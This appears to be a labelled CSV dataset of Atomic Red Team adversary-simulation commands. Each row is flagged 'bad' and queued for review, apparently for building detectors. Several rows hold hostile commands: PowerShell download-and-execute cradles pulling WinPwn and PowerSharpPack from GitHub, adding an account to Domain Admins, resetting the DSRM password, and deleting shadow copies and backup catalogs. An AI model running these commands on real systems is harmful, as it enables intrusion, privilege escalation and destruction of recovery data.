c8e1dcd6f6657c706dc6baf9,$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') oldchecks -noninteractive -consoleoutput,$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') oldchecks -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,WinPwn - Powersploits privesc checks,T1082,"[""T1082""]",windows,0.9,False,Powersploits privesc checks using oldchecks function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
50c846dd8cbd9db0a41eb25c,rm -force -recurse .\DomainRecon -ErrorAction Ignore rm -force -recurse .\Exploitation -ErrorAction Ignore rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore rm -force -recurse .\LocalRecon -ErrorAction Ignore rm -force -recurse .\Vulnerabilities -ErrorAction Ignore,rm -force -recurse .\DomainRecon -ErrorAction Ignore rm -force -recurse .\Exploitation -ErrorAction Ignore rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore rm -force -recurse .\LocalRecon -ErrorAction Ignore rm -force -recurse .\Vulnerabilities -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,WinPwn - Powersploits privesc checks,T1082,"[""T1082""]",windows,0.55,True,Powersploits privesc checks using oldchecks function of WinPwn,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
475e19db5e81992aeef90168,$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') otherchecks -noninteractive -consoleoutput,$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') otherchecks -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,WinPwn - General privesc checks,T1082,"[""T1082""]",windows,0.9,False,General privesc checks using the otherchecks function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a7fcf50793db592440a90120,$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Generalrecon -consoleoutput -noninteractive,$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Generalrecon -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,WinPwn - GeneralRecon,T1082,"[""T1082""]",windows,0.9,False,Collect general computer informations via GeneralRecon function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
90d689c6c54b8a87ed3f8694,$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Morerecon -noninteractive -consoleoutput,$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Morerecon -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,WinPwn - Morerecon,T1082,"[""T1082""]",windows,0.9,False,Gathers local system information using the Morerecon function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b37ec8042a59a9061d250a5f,$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') RBCD-Check -consoleoutput -noninteractive,$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') RBCD-Check -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,WinPwn - RBCD-Check,T1082,"[""T1082""]",windows,0.9,False,Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2aa5400babfde0d6faa857cd,$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1') Invoke-watson,$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1') Invoke-watson,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,WinPwn - PowerSharpPack - Watson searching for missing windows patches,T1082,"[""T1082""]",windows,0.9,False,PowerSharpPack - Watson searching for missing windows patches  technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
85659d574d92815323e90959,"$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1') Invoke-SharpUp -command ""audit""","$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1') Invoke-SharpUp -command ""audit""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors,T1082,"[""T1082""]",windows,0.9,False,PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
357d0cac4bde0c6d97418169,"$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1') Invoke-Seatbelt -Command ""-group=all""","$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1') Invoke-Seatbelt -Command ""-group=all""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,WinPwn - PowerSharpPack - Seatbelt,T1082,"[""T1082""]",windows,0.9,False,"PowerSharpPack - Seatbelt technique via function of WinPwn.

[Seatbelt](https://github.com/GhostPack/Seatbelt) is a C# project that performs a number of security oriented host-survey ""safety checks"" relevant from both offensive and defensive security perspectives.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1caf18bf483aaff331595764,"Import-Module ""PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1"" -force $Password = ConvertTo-SecureString -String ""#{password}"" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $Password Connect-AzAccount -Credential $Credential Connect-AzureAD -Credential $Credential Scan-AzureAdmins -UseCurrentCred","Import-Module ""PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1"" -force $Password = ConvertTo-SecureString -String ""#{password}"" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $Password Connect-AzAccount -Credential $Credential Connect-AzureAD -Credential $Credential Scan-AzureAdmins -UseCurrentCred",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,Azure Security Scan with SkyArk,T1082,"[""T1082""]",azure-ad,0.9,False,"Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. 
Once the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. 
See https://github.com/cyberark/SkyArk 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cd9cdff7bad84fa94dd2f4c0,"$resultstime = Get-Date -Format ""yyyyMMdd"" $resultsfolder = (""Results-"" + $resultstime) remove-item $env:temp\$resultsfolder -recurse -force -erroraction silentlycontinue","$resultstime = Get-Date -Format ""yyyyMMdd"" $resultsfolder = (""Results-"" + $resultstime) remove-item $env:temp\$resultsfolder -recurse -force -erroraction silentlycontinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,Azure Security Scan with SkyArk,T1082,"[""T1082""]",azure-ad,0.55,True,"Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. 
Once the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. 
See https://github.com/cyberark/SkyArk 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a4c8544d3ddcc08ffe06209c,lsmod kmod list grep vmw /proc/modules,lsmod kmod list grep vmw /proc/modules,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,Linux List Kernel Modules,T1082,"[""T1082""]",linux,0.9,False,"Enumerate kernel modules installed 3 different ways. Upon successful execution stdout will display kernel modules installed on host 2 times, followed by list of modules matching 'vmw' if present.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6dd2798f312699973b717ecd,kldstat kldstat | grep vmm,kldstat kldstat | grep vmm,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,FreeBSD List Kernel Modules,T1082,"[""T1082""]",linux,0.9,False,"Enumerate kernel modules loaded. Upon successful execution stdout will display kernel modules loaded, followed by list of modules matching 'vmm' if present.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9d88aebb76e43187caf7fd12,"wmic cpu get name wmic MEMPHYSICAL get MaxCapacity wmic baseboard get product wmic baseboard get version wmic bios get SMBIOSBIOSVersion wmic path win32_VideoController get name wmic path win32_VideoController get DriverVersion wmic path win32_VideoController get VideoModeDescription wmic OS get Caption,OSArchitecture,Version wmic DISKDRIVE get Caption Get-WmiObject win32_bios","wmic cpu get name wmic MEMPHYSICAL get MaxCapacity wmic baseboard get product wmic baseboard get version wmic bios get SMBIOSBIOSVersion wmic path win32_VideoController get name wmic path win32_VideoController get DriverVersion wmic path win32_VideoController get VideoModeDescription wmic OS get Caption,OSArchitecture,Version wmic DISKDRIVE get Caption Get-WmiObject win32_bios",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,System Information Discovery with WMIC,T1082,"[""T1082""]",windows,0.9,False,"Identify system information with the WMI command-line (WMIC) utility. Upon execution, various system information will be displayed, including: OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions.
https://nwgat.ninja/getting-system-information-with-wmic-on-windows/
Elements of this test were observed in the wild used by Aurora Stealer in late 2022 and early 2023, as highlighted in public reporting:
https://blog.sekoia.io/a",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6babf08b49bf26cc8162895a,wscript.exe C:\Windows\System32\gatherNetworkInfo.vbs,wscript.exe C:\Windows\System32\gatherNetworkInfo.vbs,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,System Information Discovery,T1082,"[""T1082""]",windows,0.9,False,"The script gathernetworkinfo.vbs is employed to collect system information such as the operating system, DNS details, firewall configuration, etc. Outputs are stored in c:\Windows\System32\config or c:\Windows\System32\reg. https://www.verboon.info/2011/06/the-gathernetworkinfo-vbs-script/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0a805ae12d80afc8293132d8,"reg query ""HKEY_CURRENT_USER\Control Panel\International\Geo""","reg query ""HKEY_CURRENT_USER\Control Panel\International\Geo""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,Check computer location,T1082,"[""T1082""]",windows,0.9,False,"Looks up country code configured in the registry, likely geofence. Upon execution, country code info will be displayed.
- https://tria.ge/210111-eaz8mqhgh6/behavioral1
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2359e69560e0ffac2418d513,reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v SystemBiosVersion reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v VideoBiosVersion,reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v SystemBiosVersion reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v VideoBiosVersion,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,BIOS Information Discovery through Registry,T1082,"[""T1082""]",windows,0.9,False,"Looks up for BIOS information in the registry. BIOS information is often read in order to detect sandboxing environments.  Upon execution, BIOS information will be displayed.
- https://tria.ge/210111-eaz8mqhgh6/behavioral1
- https://evasions.checkpoint.com/techniques/registry.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
81ec4da02039c4d6ab506db7,"echo """" | ""#{plink_file}"" ""#{vm_host}"" -ssh -l ""#{vm_user}"" -pw ""#{vm_pass}"" -m ""#{cli_script}""","echo """" | ""#{plink_file}"" ""#{vm_host}"" -ssh -l ""#{vm_user}"" -pw ""#{vm_pass}"" -m ""#{cli_script}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,ESXi - VM Discovery using ESXCLI,T1082,"[""T1082""]",windows,0.9,False,"An adversary will using ESXCLI to enumerate the Virtual Machines on the host prior to executing power off routine.
[Reference](https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b96a48a7065f7c638e948c01,sysctl -n hw.model,sysctl -n hw.model,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,sysctl to gather macOS hardware info,T1082,"[""T1082""]",macos,0.9,False,"Gets the macOS hardware information, which can be used to determine whether the target macOS host is running on a physical or virtual machine. sysctl can be used to gather interesting macOS host data, including hardware information, memory size, logical cpu information, etc.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d053e4ebbe7d29f2eb8f3858,"Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory | Out-null","Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory | Out-null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,operating system discovery ,T1082,"[""T1082""]",windows,0.9,False,"operating system discovery using get-ciminstance
https://petri.com/getting-operating-system-information-powershell/",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
16f7229d0feed877b64a9fd4,vssadmin.exe list shadows,vssadmin.exe list shadows,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,"Display volume shadow copies with ""vssadmin""",T1082,"[""T1082""]",windows,0.9,False,"The command shows all available volume shadow copies, along with their creation time and location.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f93472dcf2a2cbbeb0f981fc,"powershell.exe -c ""Get-Culture | Format-List | Out-File -FilePath %TMP%\a.txt""","powershell.exe -c ""Get-Culture | Format-List | Out-File -FilePath %TMP%\a.txt""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,Identify System Locale and Regional Settings with PowerShell,T1082,"[""T1082""]",windows,0.9,False,"This action demonstrates how an attacker might gather a system's region and language settings using PowerShell, which could aid in profiling 
the machine's location and user language preferences. The command outputs system locale details to a temporary file for further analysis.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8773050530b398f2f373526d,"cmd.exe /c del ""%TMP%\a.txt""","cmd.exe /c del ""%TMP%\a.txt""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,Identify System Locale and Regional Settings with PowerShell,T1082,"[""T1082""]",windows,0.55,True,"This action demonstrates how an attacker might gather a system's region and language settings using PowerShell, which could aid in profiling 
the machine's location and user language preferences. The command outputs system locale details to a temporary file for further analysis.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
02af2f72e6386440350ee914,"powershell.exe -c ""gdr -PSProvider 'FileSystem'""","powershell.exe -c ""gdr -PSProvider 'FileSystem'""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,Enumerate Available Drives via gdr,T1082,"[""T1082""]",windows,0.9,False,"This test simulates an attacker attempting to list the available drives on the system to gather data about file storage locations.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5a700c811118ca04c14edfd1,"reg query ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"" /v ProductName","reg query ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"" /v ProductName",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,Discover OS Product Name via Registry,T1082,"[""T1082""]",windows,0.9,False,"Identify the Operating System Product Name via registry with the reg.exe command.
Upon execution, the OS Product Name will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
861e212dcc919b2bc1807c52,"reg query ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"" /v CurrentBuildNumber","reg query ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"" /v CurrentBuildNumber",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1082/T1082.yaml,Discover OS Build Number via Registry,T1082,"[""T1082""]",windows,0.9,False,"Identify the Operating System Build Number via registry with the reg.exe command.
Upon execution, the OS Build Number will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e222acf0597e92863d68701e,"$list = Get-LocalUser |?{$_.Description -like ""atr:*""} foreach($u in $list) { $u.Description -match ""atr:(?<Name>[^;]+);(?<Description>.*)"" Set-LocalUser -Name $u.Name -Description $Matches.Description Rename-LocalUser -Name $u.Name -NewName $Matches.Name Write-Host ""Successfully Reverted Account $($u.Name) to $($Matches.Name) on "" $Env:COMPUTERNAME }","$list = Get-LocalUser |?{$_.Description -like ""atr:*""} foreach($u in $list) { $u.Description -match ""atr:(?<Name>[^;]+);(?<Description>.*)"" Set-LocalUser -Name $u.Name -Description $Matches.Description Rename-LocalUser -Name $u.Name -NewName $Matches.Name Write-Host ""Successfully Reverted Account $($u.Name) to $($Matches.Name) on "" $Env:COMPUTERNAME }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098/T1098.yaml,Admin Account Manipulate,T1098,"[""T1098""]",windows,0.55,True,"Manipulate Admin Account Name
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e68ea37af413fab9c4129166,"$x = Get-Random -Minimum 2 -Maximum 99 $y = Get-Random -Minimum 2 -Maximum 99 $z = Get-Random -Minimum 2 -Maximum 99 $w = Get-Random -Minimum 2 -Maximum 99 Import-Module ActiveDirectory $account = ""#{account_prefix}-$x$y$z"" New-ADUser -Name $account -GivenName ""Test"" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False #{create_args} Add-ADGroupMember ""#{group}"" $account","$x = Get-Random -Minimum 2 -Maximum 99 $y = Get-Random -Minimum 2 -Maximum 99 $z = Get-Random -Minimum 2 -Maximum 99 $w = Get-Random -Minimum 2 -Maximum 99 Import-Module ActiveDirectory $account = ""#{account_prefix}-$x$y$z"" New-ADUser -Name $account -GivenName ""Test"" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False #{create_args} Add-ADGroupMember ""#{group}"" $account",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098/T1098.yaml,Domain Account and Group Manipulate,T1098,"[""T1098""]",windows,0.9,False,"Create a random atr-nnnnnnnn account and add it to a domain group (by default, Domain Admins). 

The quickest way to run it is against a domain controller, using `-Session` of `Invoke-AtomicTest`. Alternatively,
you need to install PS Module ActiveDirectory (in prereqs) and run the script with appropriare AD privileges to 
create the user and alter the group. Automatic installation of the dependency requires an elevated session, 
and is unlikely to work with Powershell Core (untested).

If you c",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1f91199fe9dd950b3bdae14f,"Get-ADUser -LDAPFilter ""(&(samaccountname=#{account_prefix}-*)(givenName=Test))"" | Remove-ADUser -Confirm:$False","Get-ADUser -LDAPFilter ""(&(samaccountname=#{account_prefix}-*)(givenName=Test))"" | Remove-ADUser -Confirm:$False",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098/T1098.yaml,Domain Account and Group Manipulate,T1098,"[""T1098""]",windows,0.55,True,"Create a random atr-nnnnnnnn account and add it to a domain group (by default, Domain Admins). 

The quickest way to run it is against a domain controller, using `-Session` of `Invoke-AtomicTest`. Alternatively,
you need to install PS Module ActiveDirectory (in prereqs) and run the script with appropriare AD privileges to 
create the user and alter the group. Automatic installation of the dependency requires an elevated session, 
and is unlikely to work with Powershell Core (untested).

If you c",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cd00a216de02cc68603fd97e,aws iam create-group --group-name #{username} aws iam add-user-to-group --user-name #{username} --group-name #{username},aws iam create-group --group-name #{username} aws iam add-user-to-group --user-name #{username} --group-name #{username},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098/T1098.yaml,AWS - Create a group and add a user to that group,T1098,"[""T1098""]",iaas:aws,0.9,False,"Adversaries create AWS group, add users to specific to that group to elevate their privileges to gain more accesss
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ec0d5b6f9be888da5d341e44,aws iam remove-user-from-group --user-name #{username} --group-name #{username} aws iam delete-group --group-name #{username},aws iam remove-user-from-group --user-name #{username} --group-name #{username} aws iam delete-group --group-name #{username},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098/T1098.yaml,AWS - Create a group and add a user to that group,T1098,"[""T1098""]",iaas:aws,0.55,True,"Adversaries create AWS group, add users to specific to that group to elevate their privileges to gain more accesss
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7487d063ca898db35c578430,"ntdsutil ""set dsrm password"" ""sync from domain account #{sync_account}"" ""q"" ""q""","ntdsutil ""set dsrm password"" ""sync from domain account #{sync_account}"" ""q"" ""q""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098/T1098.yaml,Password Change on Directory Service Restore Mode (DSRM) Account,T1098,"[""T1098""]",windows,0.9,False,"Change the password on the Directory Service Restore Mode (DSRM) account using ntdsutil by syncing to existing account
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5d3395e66ae02b64097f79e3,"gcloud config set project #{project_id} KEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format=""value(KEY_ID)"" --limit=1` gcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet","gcloud config set project #{project_id} KEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format=""value(KEY_ID)"" --limit=1` gcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098/T1098.yaml,GCP - Delete Service Account Key,T1098,"[""T1098""]",iaas:gcp,0.9,False,"This Atomic will: 
  - Create a service account
  - Create a service account key, 
  - Store the result of retrieving a single key for that service account as a variable
  - Pass that variable for deletion
  - Delete the service account

The idea for this Atomic came from a Rule published by the Elastic team.

Identifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP).
Each service account is associated with two sets of public/private RS",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d30cf93bba2f78c59bae9472,"cd ""$PathToAtomicsFolder/T1098/src/T1098-17/"" terraform state rm google_service_account_key.key terraform destroy -auto-approve","cd ""$PathToAtomicsFolder/T1098/src/T1098-17/"" terraform state rm google_service_account_key.key terraform destroy -auto-approve",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098/T1098.yaml,GCP - Delete Service Account Key,T1098,"[""T1098""]",iaas:gcp,0.55,True,"This Atomic will: 
  - Create a service account
  - Create a service account key, 
  - Store the result of retrieving a single key for that service account as a variable
  - Pass that variable for deletion
  - Delete the service account

The idea for this Atomic came from a Rule published by the Elastic team.

Identifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP).
Each service account is associated with two sets of public/private RS",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
715846c38079128470a23317,vssadmin.exe delete shadows /all /quiet,vssadmin.exe delete shadows /all /quiet,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Windows - Delete Volume Shadow Copies,T1490,"[""T1490""]",windows,0.9,False,"Deletes Windows Volume Shadow Copies. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon
execution, if no shadow volumes exist the message ""No items found that satisfy the query."" will be displayed. If shadow volumes are present, it
will delete them without printing output to the screen. This is because the /quiet parameter was passed which also suppresses the y/n
confirmation prompt. Shadow copies can only be created on Windows server or Windo",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d730c8810edbfeefe479542b,wmic.exe shadowcopy delete,wmic.exe shadowcopy delete,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Windows - Delete Volume Shadow Copies via WMI,T1490,"[""T1490""]",windows,0.9,False,"Deletes Windows Volume Shadow Copies via WMI. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9c0b6c6704ae168912678f8a,wbadmin delete catalog -quiet,wbadmin delete catalog -quiet,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Windows - wbadmin Delete Windows Backup Catalog,T1490,"[""T1490""]",windows,0.9,False,"Deletes Windows Backup Catalog. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution,
""The backup catalog has been successfully deleted."" will be displayed in the PowerShell session.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
